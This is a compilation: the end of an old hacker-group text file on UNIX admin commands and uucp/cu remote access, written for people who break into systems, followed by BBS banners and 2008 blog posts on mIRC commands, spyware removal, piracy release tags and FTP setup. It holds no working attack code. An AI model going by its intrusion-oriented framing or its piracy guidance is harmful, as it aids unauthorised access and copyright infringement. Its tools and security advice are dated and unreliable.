coulfd enter: $sysadm chgpasswd not chapassword ,The rest are same)

$sysadm deluser - This is an obviously to delete a user
password:

This will be the screen output:
/---------------------------------------------------------------------------\
Running subcommand 'deluser' from menu 'usermgmt'
USER MANAGEMENT
This fuction completely removes the user,their mail file,home directory
and all files below their home directory from the machine.

Enter login ID you wish to remove[q]: (eg.cathy)
'cathy' belongs to 'Cathy Franklin'
whose home directory is /usr/cathy
Do you want to remove this login ID 'cathy' ? [y,n,?,q] :

/usr/cathy and all files under it have been deleted.

Enter login ID you wish to remove [q]:
\--------------------------------------------------------------------------/
This command deletes everthing owned by the user.Dont use it even if you have
access to it.

other super user commands:
--------------------------
wall [text] control-d - to send an anouncement to users logged in(will
override mesg -n command).Execute only from /
/etc/newgrp - is used to become a member of a group

sysadm [program name]
delgroup - delets groups
whoson - self explanatory
lsgroup - Lists group
mklineset -hunts various sequences
lsuser -lists all the users & their logins names

Other commands may require file system to be mounted.

Basic Networking utility(BNU)
-----------------------------

The BNU is a unique feature in UNIX.Some systems may not have this installed.
What BNU does is allow other remote UNIXes communicate with yours without
logging off the present one.BNU also allowes file transfer between computers.
Most UNIX systems V will have this feature installed.

The user program like cu,uux etc are located in the /usr/bin directory

Basic Networking Files:
-----------------------
/usr/lib/uucp/[file name]
[file name]
systems - cu command to establishes link.Contains info on remote computers
name,time it can be reached,login Id,password,telephone numbers
devices - inter connected with systems files(Automatic call unit same in two
entries)also cantains baud rate,port tty1 etc.

dialers - where asscii converation must be made before file tranfers etc.
dialcodes - contains abreiviations for phone numbers that can be used in
systems file

other files are sysfiles,permissions,poll,devconfig

B.N.U Aministrative files:
--------------------------
There are 5 admnistrative files present.These are files are created in the
/usr/spool directory .These A.Files are responsible for various BNU procceses
like kepping records data ,files tranfers bettwenn remote and local and also
usefull to lock devices.

TM - This file used to hold temporary data .When tranfering the files from a
remote to local the /usr/spool/uucp/[name of the remote computer ] creates
this in the format of as of below:

TM[Process Identification Number].[ddd]

The ddd is the a 3 digit number (sequential) starting with "0"
Here a typical eg: TM322.012
Then this file is moved into the path defined by the C.sysnxxx file

X.[Execute files] - Created in the /usr/spool before you execute the commands
in remote.
The format used to name this file is X.sysnxxx
where sys stand for the remote name and n is the priority
level the xxxx is a sequence assingned by the uucp.These
files always contain the Name of the file ,Comuter & file
name to recieve,Persons login & computer name and the
command string.

LCK - The lock file created in the /usr/spool/locks directory.The is used when
devices are being used.Prevent usage of the same calling device.

Format used: LCK.str wher the str is a device name.The Lock file contains
the PID needed to lock

C.sysnxxx - created in the usr/spool directory.These are the work files.Used
when work is in line,remote execeutions.Format is same as the
X.sysnxxxx.The works files contain the full path name of the file
to be sent,path name of the destination (TM Transfers),Remote login
name to be notified after the file transmision is complete,Users
login name and the name of the programs used eg.uucp,uupick etc.

D - The data files.Format used is D.systmxxxxyyy.These files are created when
specified in a command to copy to the spool directory.Eg. By the usage of
uucp -C this will be true.
The systm is the remote name,xxxx is the the 4 digits seq assingned by
the uucp.The yyy is a sub sequence number.

Logining on to remote and sending+receiving files
-------------------------------------------------
cu - This command allows one to log on to the local as well as the remote
Unix (or a non unix)without haveing to hang up so you can transfer files.
Usage:[options]

$ cu [-s baud rate][-o odd parity][-e even parity][-l name of comm line]
telephone number | systemname

To view system names that you can communicate with use the 'unname' command:
Eg. of output of names:

ATT01
ATT02
ATT03
ATT04

$ cu -s300 3=9872344 (9872344 is the tel#)
connected
login:
password:

local strings:
--------------
<~.> - will log you off the remote terminal but not the local
~! - out you on the local withiout disconnecting the line from remote

- puts you back on the remote unix
~%take [file name] - takes a copy of the file name and copies it to the
local(the directory which you are in)
"%put [file name] - reverse of above
~$[command] - allows the execution of a command to the local from remote

ct
--
ct allows local to connect to remote.Initiates a getty on a remote terminal.
Usefull when using a remote terminal.BNU has call back feature that allows
the user on the remote who can execute a call back meaning the local can call
the remote.[ ] are options

$ ct [-h prevent automatic hang up][-s bps rate][-wt set a time to call back
abbrieviated t mins] telephone number

uux
---
To execute commands on a remote (unix to unix)
usage:[ ] are options

$ uux [- use standard output][-n prevent mail notification][-p also use
standard output] command-string

uucp
----
uucp copies files from ones computer to the home directory
of a user in remote system.This also works when copying files from one
directory to another in the remote.The remote user will be notified by mail.
This command becomes use full when copying files from a remote to your local
system.
The uucp requires the uucico daemon will call up the remote and will perform
file login sequence,file transfer and notify the user by mail.
Daemons are programs runining in the background.The 3 daemons in a Unix are
uucico,uusched,uuxqt.

Daemons Explained:[nows a good time to explain the 3 daemons]
------------------

uuxqt - Remote execution.This daemon is executed by uudemon.hour started by
cron.UUXQT searchs in the spool directory for executable file
named X.file sent from the remote system.When it finds a file X.file
where it obtains process which are to be executed.The next step is
to find weather the processes are available at the time.The if
available it checks permission and if everthing is o.k it proceeds
the background proccess.

uucico - This Daemon is very immportant for it is responsible in establishing
a connection to the remote also checks permission,performs login
procedures,transfers + executes files and also notifies the user
by mail.This daemon is called upon by uucp,uuto,uux commands.

uusched - This is executed by the shell script called uudemon.hour
This daemons acts as a randomizer before the UUCICO daemon is
called.

Usage of uucp command:

$ uucp [options] [first full path name!] file [destination path!] file
example:
$ uucp -m -s bbss hackers unix2!/usr/todd/hackers

What this would do is send the file hackers from your computer to the remotes
/usr/todd/hackers making hackers offcourse as file.todd would mail that
a file has been sent to him.The unix2 is the name of the remote.
Options for uucp:(Dont forget to type in remotes name unix2 in case)
-c dont copy files to spool directory
-C copy to spool
-s[file name] - this file will contain the file status(above is bbss)
-r Dont start the comm program(uucico) yet
-j print job number(for above eg.unix2e9o3)
-m send mail when file file is complete

Now suppose you wanted to receive file called kenya which is in the usr/dan/usa
to your home directory /usr/john assuming that the local systems name is
ATT01 and you are currently working in /usr/dan/usa,you would type in:

$uucp kenya ATT01!/usr/john/kenya

uuto
----
The uuto command allows one to send file to remote user and can also be used
to send files locally.
Usage:
$ uuto [file name] [system!login name]( omit systen name if local)

Conclusion:
-----------
Theres always more one can say about the UNIX but its time to stop.
I hope you have enjoyed the article.I apologize for the lenght. I hope I
made the UNIX operating system more familiar.
Remember do not abuse any systems you hack into for a true hacker doesn't like
to reck but to learn.
I can be reached at (718)358/9209 - Hackers Den88 [2600 BBS #5]

Watch for my new article on using PANAMAC airline computers coming soon.

Red Knight
P/HUN!
<>

Leached off SSC (713) 497-2312

[13] [UNIX system specifics (all versions)]
(98) Minutes Remaining
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Another file downloaded from: The NIRVANAnet(tm) Seven

& the Temple of the Screaming Electron Taipan Enigma 510/935-5845
Burn This Flag Zardoz 408/363-9766
realitycheck Poindexter Fortran 510/527-1662
Lies Unlimited Mick Freen 801/278-2699
The New Dork Sublime Biffnix 415/864-DORK
The Shrine Rif Raf 206/794-6674
Planet Mirth Simon Jester 510/786-6560

"Raw Data for Raw Nerves"
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All mIRC Commands

2008-02-03T04:37:00.000-08:00

All mIRC Commands

Trick by infintytricks.blogspot.com

/ Recalls the previous command entered in the current window.
/! Recalls the last command typed in any window.
/action {action text} Sends the specifed action to the active channel or query window.
/add [-apuce] {filename.ini} Loads aliases, popups, users, commands, and events.
/ame {action text} Sends the specifed action to all channels which you are currently on.
/amsg {text} Sends the specifed message to all channels which you are currently on.
/auser {level} {nick|address} Adds a user with the specified access level to the remote users
list.
/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off
totally.
/away {away message} Sets you away leave a message explaining that you are not currently paying
attention to IRC.
/away Sets you being back.
/ban [#channel] {nickname} [type] Bans the specified nick from the curent or given channel.
/beep {number} {delay} Locally beeps 'number' times with 'delay' in between the beeps. /channel
Pops up the channel central window (only works in a channel).
/clear Clears the entire scrollback buffer of the current window.
/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on
nickname.
/closemsg {nickname} Closes the query window you have open to the specified nick.
/creq [ask | auto | ignore] Sets your DCC 'On Chat request' settings in DCC/Options.
/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.
/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.
/describe {#channel} {action text} Sends the specifed action to the specified channel window.
/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other
applications.
/ddeserver [on [service name] | off] To turn on the DDE server mode, eventually with a given
service name.
/disable {#groupname} De-activates a group of commands or events.
/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.
/dlevel {level} Changes the default user level in the remote section.
/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.
/echo [nickname|#channel|status] {text} Displays the given text only to YOU on the given place
in color N.
/enable {#groupname} Activates a group of commands or events.
/events [on|off] Shows the remote events status or sets it to listening or not.
/exit Forces mIRC to closedown and exit.
/finger Does a finger on a users address.
/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.
/fsend [on|off] Shows fsends status and allows you to turn dcc fast send on or off.
/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.
/guser {level} {nick} [type] Adds the user to the user list with the specified level and
address type.
/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.
/ignore [on|off|nickname|address] Toggles ignoring of a nick or address or sets it on or off
totally.
/invite {nickname} {#channel} Invites another user to a channel.
/join {#channel} Makes you join the specified channel.
/kick {#channel} {nickname} Kicks nickname off a given channel.
/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for
parameters.
/log [on|off] Shows the logging status or sets it on or off for the current window.
/me {action text} Sends the specifed action to the active channel or query window.
/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.
/msg {nickname} {message} Send a private message to this user without opening a query window.
/names {#channel} Shows the nicks of all people on the given channel.
/nick {new nickname} Changes your nickname to whatever you like.
/notice {nick} {message} Send the specified notice message to the nick.
/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.
/onotice [#channel] {message} Send the specified notice message to all channel ops.
/omsg [#channel] {message} Send the specified message to all ops on a channel.
/part {#channel} Makes you leave the specified channel.
/partall Makes you leave all channels you are on.
/ping {server address} Pings the given server. NOT a nickname.
/play [-c] {filename} [delay] Allows you to send text files to a window.
/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.
/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off
totally.
/query {nickname} {message} Open a query window to this user and send them the private message.
/quit [reason] Disconnect you from IRC with the optional byebye message.
/raw {raw command} Sends any raw command you supply directly to the server. Use it with care!!
/remote [on|off] Shows the remote commands status or sets it to listening or not.
/rlevel {access level} Removes all users from the remote users list with the specified access
level.
/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters.
/ruser {nick[!]|address} [type] Removes the user from the remote users list.
/save {filename.ini} Saves remote sections into a specified INI file.
/say {text} Says whatever you want to the active window.
/server [server address [port] [password]] Reconnects to the previous server or a newly
specified one.
/sound [nickname|#channel] {filename.wav} {action text} Sends an action and a fitting sound.
/speak {text} Uses the external text to speech program Monologue to speak up the text.
/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.
/time Tells you the time on the server you use.
/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.
/topic {#channel} {newtopic} Changes the topic for the specified channel.
/ulist [{|}]{level} Lists all users in the remote list with the specified access levels.
/url [-d] Opens the URL windows that allows you to surf the www parallel to IRC.
/uwho [nick] Pops up the user central with information about the specified user.
/who {#channel} Shows the nicks of all people on the given channel.
/who {*address.string*} Shows all people on IRC with a matching address.
/whois {nickname} Shows information about someone in the status window.
/whowas {nickname} Shows information about someone who -just- left IRC.
/wavplay {c:\path\sound.wav} Locally plays the specified wave file.
/write [-cidl] {filename} [text] To write the specified text to a .txt file.

MoViEBoT #xdcc-help /server irc.atomic-irc.net

We strive to make IRC easier for you!

ALL About Spyware

2008-02-03T04:34:00.000-08:00

There are a lot of PC users that know little about "Spyware", "Mal-ware", "hijackers", "Dialers" & many more. This will help you avoid pop-ups, spammers and all those baddies.

Trick by infintytricks.blogspot.com

What is spy-ware?
Spy-ware is Internet jargon for Advertising Supported software (Ad-ware). It is a way for shareware authors to make money from a product, other than by selling it to the users. There are several large media companies that offer them to place banner ads in their products in exchange for a portion of the revenue from banner sales. This way, you don't have to pay for the software and the developers are still getting paid. If you find the banners annoying, there is usually an option to remove them, by paying the regular licensing fee.

Known spywares
There are thousands out there, new ones are added to the list everyday. But here are a few:
Alexa, Aureate/Radiate, BargainBuddy, ClickTillUWin, Conducent Timesink, Cydoor, Comet Cursor, eZula/KaZaa Toptext, Flashpoint/Flashtrack, Flyswat, Gator, GoHip, Hotbar, ISTbar, Lions Pride Enterprises/Blazing Logic/Trek Blue, Lop (C2Media), Mattel Brodcast, Morpheus, NewDotNet, Realplayer, Songspy, Xupiter, Web3000, WebHancer, Windows Messenger Service.

How to check if a program has spyware?
The is this Little site that keeps a database of programs that are known to install spyware.

Check Here: http://www.spywareguide.com/product_search.php

If you would like to block pop-ups (IE Pop-ups).
There tons of different types out there, but these are the 2 best, i think.

Try: Google Toolbar (http://toolbar.google.com/) This program is Free
Try: AdMuncher (http://www.admuncher.com) This program is Shareware

If you want to remove the "spyware" try these.
Try: Lavasoft Ad-Aware (http://www.lavasoftusa.com/) This program is Free
Info: Ad-aware is a multi spyware removal utility, that scans your memory, registry and hard drives for known spyware components and lets you remove them. The included backup-manager lets you reinstall a backup, offers and multi language support.

Try: Spybot-S&D (http://www.safer-networking.org/) This program is Free
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer. Blocks ActiveX downloads, tracking cookies and other threats. Over 10,000 detection files and entries. Provides detailed information about found problems.

Try: BPS Spyware and Adware Remover (http://www.bulletproofsoft.com/spyware-remover.html) This program is Shareware
Info: Adware, spyware, trackware and big brotherware removal utility with multi-language support. It scans your memory, registry and drives for known spyware and lets you remove them. Displays a list and lets you select the items you'd like to remove.

Try: Spy Sweeper v2.2 (http://www.webroot.com/wb/products/spysweeper/index.php) This program is Shareware
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer.
The best scanner out there, and updated all the time.

Try: HijackThis 1.97.7 (http://www.spywareinfo.com/~merijn/downloads.html) This program is Freeware
Info: HijackThis is a tool, that lists all installed browser add-on, buttons, startup items and allows you to inspect them, and optionally remove selected items.

If you would like to prevent "spyware" being install.
Try: SpywareBlaster 2.6.1 (http://www.wilderssecurity.net/spywareblaster.html) This program is Free
Info: SpywareBlaster doesn`t scan and clean for so-called spyware, but prevents it from being installed in the first place. It achieves this by disabling the CLSIDs of popular spyware ActiveX controls, and also prevents the installation of any of them via a webpage.

Try: SpywareGuard 2.2 (http://www.wilderssecurity.net/spywareguard.html) This program is Free
Info: SpywareGuard provides a real-time protection solution against so-called spyware. It works similar to an anti-virus program, by scanning EXE and CAB files on access and alerting you if known spyware is detected.

Try: XP-AntiSpy (http://www.xp-antispy.org/) This program is Free
Info: XP-AntiSpy is a small utility to quickly disable some built-in update and authentication features in WindowsXP that may rise security or privacy concerns in some people.

Try: SpySites (http://camtech2000.net/Pages/SpySites_Prog...ml#SpySitesFree) This program is Free
Info: SpySites allows you to manage the Internet Explorer Restricted Zone settings and easily add entries from a database of 1500+ sites that are known to use advertising tracking methods or attempt to install third party software.

If you would like more Information about "spyware".
Check these sites.
http://www.spychecker.com/
http://www.spywareguide.com/
http://www.cexx.org/adware.htm
http://www.theinfomaniac.net/infomaniac/co...rsSpyware.shtml
http://www.thiefware.com/links/
http://simplythebest.net/info/spyware.html

Usefull tools...
Try: Stop Windows Messenger Spam 1.10 (http://www.jester2k.pwp.blueyonder.co.uk/j...r2ksoftware.htm) This program is Free
Info: "Stop Windows Messenger Spam" stops this Service from running and halts the spammers ability to send you these messages.

----------------------------------------------------------------------------
All these softwares will help remove and prevent evil spammers and spywares attacking your PC. I myself recommend getting "spyblaster" "s&d spybot" "spy sweeper" & "admuncher" to protect your PC. A weekly scan is also recommended

Free Virus Scan
Scan for spyware, malware and keyloggers in addition to viruses, worms and trojans. New threats and annoyances are created faster than any individual can keep up with.
http://defender.veloz.com// - 15k

Finding . is a Click Away at 2020Search.com
Having trouble finding what you re looking for on: .? 2020Search will instantly provide you with the result you re looking for by drawing on some of the best search engines the Internet has to offer. Your result is a click away!
http://www.2020search.com// - 43k

Download the BrowserVillage Toolbar.
Customize your Browser! Eliminate Pop-up ads before they start, Quick and easy access to the Web, and much more. Click Here to Install Now!
http://www.browservillage.com/ - 36k

All About Movie Tags (what Is A Dvdrip, Cam Etc.)

2008-02-03T04:28:00.000-08:00

Original Sources

CAM -
A cam is a theater rip usually done with a digital video camera. A mini tripod is sometimes used, but a lot of the time this wont be possible, so the camera make shake. Also seating placement isn't always idle, and it might be filmed from an angle. If cropped properly, this is hard to tell unless there's text on the screen, but a lot of times these are left with triangular borders on the top and bottom of the screen. Sound is taken from the onboard microphone of the camera, and especially in comedies, laughter can often be heard during the film. Due to these factors picture and sound quality are usually quite poor, but sometimes we're lucky, and the theater will be fairly empty and a fairly clear signal will be heard.

TELESYNC (TS) - A telesync is the same spec as a CAM except it uses an external audio source (most likely an audio jack in the chair for hard of hearing people). A direct audio source does not ensure a good quality audio source, as a lot of background noise can interfere. A lot of the times a telesync is filmed in an empty cinema or from the projection booth with a professional camera, giving a better picture quality. Quality ranges drastically, check the sample before downloading the full release. A high percentage of Telesyncs are CAMs that have been mislabeled.

TELECINE (TC) -
A telecine machine copies the film digitally from the reels. Sound and picture should be very good, but due to the equipment involved and cost telecines are fairly uncommon. Generally the film will be in correct aspect ratio, although 4:3 telecines have existed. A great example is the JURASSIC PARK 3 TC done last year. TC should not be confused with TimeCode , which is a visible counter on screen throughout the film.

SCREENER (SCR) -
A pre VHS tape, sent to rental stores, and various other places for promotional use. A screener is supplied on a VHS tape, and is usually in a 4:3 (full screen) a/r, although letterboxed screeners are sometimes found. The main draw back is a "ticker" (a message that scrolls past at the bottom of the screen, with the copyright and anti-copy telephone number). Also, if the tape contains any serial numbers, or any other markings that could lead to the source of the tape, these will have to be blocked, usually with a black mark over the section. This is sometimes only for a few seconds, but unfortunately on some copies this will last for the entire film, and some can be quite big. Depending on the equipment used, screener quality can range from excellent if done from a MASTER copy, to very poor if done on an old VHS recorder thru poor capture equipment on a copied tape. Most screeners are transferred to VCD, but a few attempts at SVCD have occurred, some looking better than others.

DVD-SCREENER (DVDscr) -Same premise as a screener, but transferred off a DVD. Usually letterbox , but without the extras that a DVD retail would contain. The ticker is not usually in the black bars, and will disrupt the viewing. If the ripper has any skill, a DVDscr should be very good. Usually transferred to SVCD or DivX/XviD.

DVDRip - A copy of the final released DVD. If possible this is released PRE retail (for example, Star Wars episode 2) again, should be excellent quality. DVDrips are released in SVCD and DivX/XviD.

VHSRip -Transferred off a retail VHS, mainly skating/sports videos and XXX releases.

TVRip -TV episode that is either from Network (capped using digital cable/satellite boxes are preferable) or PRE-AIR from satellite feeds sending the program around to networks a few days earlier (do not contain "dogs" but sometimes have flickers etc) Some programs such as WWF Raw Is War contain extra parts, and the "dark matches" and camera/commentary tests are included on the rips. PDTV is capped from a digital TV PCI card, generally giving the best results, and groups tend to release in SVCD for these. VCD/SVCD/DivX/XviD rips are all supported by the TV scene.

WORKPRINT (WP) -A workprint is a copy of the film that has not been finished. It can be missing scenes, music, and quality can range from excellent to very poor. Some WPs are very different from the final print (Men In Black is missing all the aliens, and has actors in their places) and others can contain extra scenes (Jay and Silent Bob) . WPs can be nice additions to the collection once a good quality final has been obtained.

DivX Re-Enc -A DivX re-enc is a film that has been taken from its original VCD source, and re-encoded into a small DivX file. Most commonly found on file sharers, these are usually labeled something like Film.Name.Group(1of2) etc. Common groups are SMR and TND. These aren't really worth downloading, unless you're that unsure about a film u only want a 200mb copy of it. Generally avoid.

Watermarks -
A lot of films come from Asian Silvers/PDVD (see below) and these are tagged by the people responsible. Usually with a letter/initials or a little logo, generally in one of the corners. Most famous are the "Z" "A" and "Globe" watermarks.

Asian Silvers / PDVD -
These are films put out by eastern bootleggers, and these are usually bought by some groups to put out as their own. Silvers are very cheap and easily available in a lot of countries, and its easy to put out a release, which is why there are so many in the scene at the moment, mainly from smaller groups who don't last more than a few releases. PDVDs are the same thing pressed onto a DVD. They have removable subtitles, and the quality is usually better than the silvers. These are ripped like a normal DVD, but usually released as VCD.

Formats

VCD -
VCD is an mpeg1 based format, with a constant bitrate of 1150kbit at a resolution of 352x240 (NTCS). VCDs are generally used for lower quality transfers (CAM/TS/TC/Screener(VHS)/TVrip(analogue) in order to make smaller file sizes, and fit as much on a single disc as possible. Both VCDs and SVCDs are timed in minutes, rather than MB, so when looking at an mpeg, it may appear larger than the disc capacity, and in reality u can fit 74min on a CDR74.

SVCD -
SVCD is an mpeg2 based (same as DVD) which allows variable bit-rates of up to 2500kbits at a resolution of 480x480 (NTSC) which is then decompressed into a 4:3 aspect ratio when played back. Due to the variable bit-rate, the length you can fit on a single CDR is not fixed, but generally between 35-60 Mins are the most common. To get a better SVCD encode using variable bit-rates, it is important to use multiple "passes". this takes a lot longer, but the results are far clearer.

XVCD/XSVCD -
These are basically VCD/SVCD that don't obey the "rules". They are both capable of much higher resolutions and bit-rates, but it all depends on the player to whether the disc can be played. X(S)VCD are total non-standards, and are usually for home-ripping by people who don't intend to release them.

KVCD Thanks for lardo4life for the info
KVCD is a modification to the standard MPEG-1 and MPEG-2 GOP structure and Quantization Matrix. It enables you to create over 120 minutes of near DVD quality video, depending on your material, on a single 80 minute CD-R/CD-RW. We have published these specifications as KVCDx3, our official resolution, which produce 528x480 (NTSC) and 528x576 (PAL) MPEG-1 variable bit rate video, from 64Kbps to 3,000Kbps. Using a resolution of 352x240 (NTSC) or 352x288 (PAL), it's possible to encode video up to ~360 minutes of near VCD quality on a single 80 minute CD-R. The mpeg files created will play back in most modern standalone DVD players. You must burn the KVCD MPEG files as non-standard VCD or non-standard SVCD (depends on your player) with Nero or VCDEasy.

DivX / XviD -
DivX is a format designed for multimedia platforms. It uses two codecs, one low motion, one high motion. most older films were encoded in low motion only, and they have problems with high motion too. A method known as SBC (Smart Bit-rate Control) was developed which switches codecs at the encoding stage, making a much better print. The format is Ana orphic and the bit-rate/resolution are interchangeable. Due to the higher processing power required, and the different codecs for playback, its unlikely we'll see a DVD player capable of play DivX for quite a while, if at all. There have been players in development which are supposedly capable, but nothing has ever arisen. The majority of PROPER DivX rips (not Re-Encs) are taken from DVDs, and generally up to 2hours in good quality is possible per disc. Various codecs exist, most popular being the original Divx3.11a and the new XviD codecs.

CVD -
CVD is a combination of VCD and SVCD formats, and is generally supported by a majority of DVD players. It supports MPEG2 bit-rates of SVCD, but uses a resolution of 352x480(ntsc) as the horizontal resolution is generally less important. Currently no groups release in CVD.

DVD-R -
Is the recordable DVD solution that seems to be the most popular (out of DVD-RAM, DVD-R and DVD+R). it holds 4.7gb of data per side, and double sided discs are available, so discs can hold nearly 10gb in some circumstances. SVCD mpeg2 images must be converted before they can be burnt to DVD-R and played successfully. DVD>DVDR copies are possible, but sometimes extras/languages have to be removed to stick within the available 4.7gb.

MiniDVD -
MiniDVD/cDVD is the same format as DVD but on a standard CDR/CDRW. Because of the high resolution/bit-rates, its only possible to fit about 18-21 mins of footage per disc, and the format is only compatible with a few players.

Misc Info

Regional Coding -
This was designed to stop people buying American DVDs and watching them earlier in other countries, or for older films where world distribution is handled by different companies. A lot of players can either be hacked with a chip, or via a remote to disable this.

RCE -
RCE (Regional Coding Enhancement) was designed to overcome "Multiregion" players, but it had a lot of faults and was overcome. Very few titles are RCE encoded now, and it was very unpopular.

Macrovision -
Macrovision is the copy protection employed on most commercial DVDs. Its a system that will display lines and darken the images of copies that are made by sending the VHS signals it can't understand. Certain DVD players (for example the Dansai 852 from Tescos) have a secret menu where you can disable the macrovision, or a "video stabaliser" costs about 30UKP from Maplin (www.maplin.co.uk)

NTSC/PAL -
NTSC and PAL are the two main standards used across the world. NTSC has a higher frame rate than pal (29fps compared to 25fps) but PAL has an increased resolution, and gives off a generally sharper picture. Playing NTSC discs on PAL systems seems a lot easier than vice-versa, which is good news for the Brits An RGB enabled scart lead will play an NTSC picture in full colour on most modern tv sets, but to record this to a VHS tape, you will need to convert it to PAL50 (not PAL60 as the majority of DVD players do.) This is either achieved by an expensive converter box (in the regions of £200+) an onboard converter (such as the Dansai 852 / certain Daewoos / Samsung 709 ) or using a World Standards VCR which can record in any format.

News Sites -
There are generally 2 news sites for film release for p2p and they are:

nforce - VCD Help
Code:
http://www.vcdhelp.com/

Code:
http://www.nforce.nl.

About Release Files

RARset -
The movies are all supplied in RAR form, whether its v2 (rar>.rxx) or v3 (part01.rar > partxx.rar) form.

BIN/CUE -
VCD and SVCD films will extract to give a BIN/CUE. Load the .CUE into notepad and make sure the first line contains only a filename, and no path information. Then load the cue into Nero/CDRWin etc and this will burn the VCD/SVCD correctly. TV rips are released as MPEG. DivX files are just the plain DivX - .AVI

NFO -
An NFO file is supplied with each movie to promote the group, and give general iNFOrmation about the release, such as format, source, size, and any notes that may be of use. They are also used to recruit members and acquire hardware for the group.

SFV -
Also supplied for each disc is an SFV file. These are mainly used on site level to check each file has been uploaded correctly, but are also handy for people downloading to check they have all the files, and the CRC is correct. A program such as pdSFV or hkSFV is required to use these files.

Usenet Information

Access -
To get onto newsgroups, you will need a news server. Most ISPs supply one, but this is usually of poor retention (the amount of time the files are on server for) and poor completition (the amount of files that make it there). For the best service, a premium news server should be paid for, and these will often have bandwidth restrictions in place.

Software -
You will need a newsreader to access the files in the binary newsgroups. There are many different readers, and its usually down to personal opinion which is best. Xnews / Forte Agent / BNR 1 / BNR 2 are amongst the popular choices. Outlook has the ability to read newsgroups, but its recommended to not use that.

Format -
Usenet posts are often the same as those listed on VCDQUALiTY (i.e., untouched group releases) but you have to check the filenames and the description to make sure you get what you think you are getting. Generally releases should come down in .RAR sets. Posts will usually take more than one day to be uploaded, and can be spread out as far as a week.

PAR files -
As well as the .rxx files, you will also see files listed as .pxx/.par . These are PARITY files. Parity files are common in usenet posts, as a lot of times, there will be at least one or two damaged files on some servers. A parity file can be used to replace ANY ONE file that is missing from the rar set. The more PAR files you have, the more files you can replace. You will need a program called SMARTPAR for this.

Scene Tags

PROPER -
Due to scene rules, whoever releases the first Telesync has won that race (for example). But if the quality of that release is fairly poor, if another group has another telesync (or the same source in higher quality) then the tag PROPER is added to the folder to avoid being duped. PROPER is the most subjective tag in the scene, and a lot of people will generally argue whether the PROPER is better than the original release. A lot of groups release PROPERS just out of desperation due to losing the race. A reason for the PROPER should always be included in the NFO.

SUBBED -
In the case of a VCD, if a release is subbed, it usually means it has hard encoded subtitles burnt throughout the movie. These are generally in malaysian/chinese/thai etc, and sometimes there are two different languages, which can take up quite a large amount of the screen. SVCD supports switch able subtitles, so some DVDRips are released with switch able subs. This will be mentioned in the NFO file if included.

UNSUBBED -
When a film has had a subbed release in the past, an Unsubbed release may be released

LIMITED -
A limited movie means it has had a limited theater run, generally opening in less than 250 theaters, generally smaller films (such as art house films) are released as limited.

INTERNAL -
An internal release is done for several reasons. Classic DVD groups do a lot of .INTERNAL. releases, as they wont be dupe'd on it. Also lower quality theater rips are done INTERNAL so not to lower the reputation of the group, or due to the amount of rips done already. An INTERNAL release is available as normal on the groups affiliate sites, but they can't be traded to other sites without request from the site ops. Some INTERNAL releases still trickle down to IRC/Newsgroups, it usually depends on the title and the popularity. Earlier in the year people referred to Centropy going "internal". This meant the group were only releasing the movies to their members and site ops. This is in a different context to the usual definition.

STV -
Straight To Video. Was never released in theaters, and therefore a lot of sites do not allow these.

OTHER TAGS -

*WS* for widescreen (letterbox)
*FS* for Fullscreen.

RECODE -
A recode is a previously released version, usually filtered through TMPGenc to remove subtitles, fix color etc. Whilst they can look better, its not looked upon highly as groups are expected to obtain their own sources.

REPACK -
If a group releases a bad rip, they will release a Repack which will fix the problems.

NUKED -
A film can be nuked for various reasons. Individual sites will nuke for breaking their rules (such as "No Telesyncs") but if the film has something extremely wrong with it (no soundtrack for 20mins, CD2 is incorrect film/game etc) then a global nuke will occur, and people trading it across sites will lose their credits. Nuked films can still reach other sources such as p2p/usenet, but its a good idea to check why it was nuked first in case. If a group realise there is something wrong, they can request a nuke.

NUKE REASONS :: this is a list of common reasons a film can be nuked for (generally DVDRip)

** BAD A/R ** :: bad aspect ratio, ie people appear too fat/thin
** BAD IVTC ** :: bad inverse telecine. process of converting framerates was incorrect.
** INTERLACED ** :: black lines on movement as the field order is incorrect.

DUPE -
Dupe is quite simply, if something exists already, then theres no reason for it to exist again without proper reason.

All about ftp must read

2008-01-20T08:14:00.000-08:00

All about ftp must read

Setting Up A Ftp:

Well, since many of us have always wondered this, here it is. Long and drawn out. Also, before attempting this, realize one thing; You will have to give up your time, effort, bandwidth, and security to have a quality ftp server.
That being said, here it goes. First of all, find out if your IP (Internet Protocol) is static (not changing) or dynamic (changes everytime you log on). To do this, first consider the fact if you have a dial up modem. If you do, chances are about 999 999 out of 1 000 000 that your IP is dynamic. To make it static, just go to a place like h*tp://www.myftp.org/ to register for a static ip address.

You'll then need to get your IP. This can be done by doing this:
Going to Start -> Run -> winipcfg or www.ask.com and asking 'What is my IP?'

After doing so, you'll need to download an FTP server client. Personally, I'd recommend G6 FTP Server, Serv-U FTPor Bullitproof v2.15 all three of which are extremely reliable, and the norm of the ftp world.
You can download them on this site: h*tp://www.liaokai.com/softw_en/d_index.htm

First, you'll have to set up your ftp. For this guide, I will use step-by-step instructions for G6. First, you'll have to go into 'Setup -> General'. From here, type in your port # (default is 21). I recommend something unique, or something a bit larger (ex: 3069). If you want to, check the number of max users (this sets the amount of simultaneous maximum users on your server at once performing actions - The more on at once, the slower the connection and vice versa).

The below options are then chooseable:
-Launch with windows
-Activate FTP Server on Start-up
-Put into tray on startup
-Allow multiple instances
-Show "Loading..." status at startup
-Scan drive(s) at startup
-Confirm exit

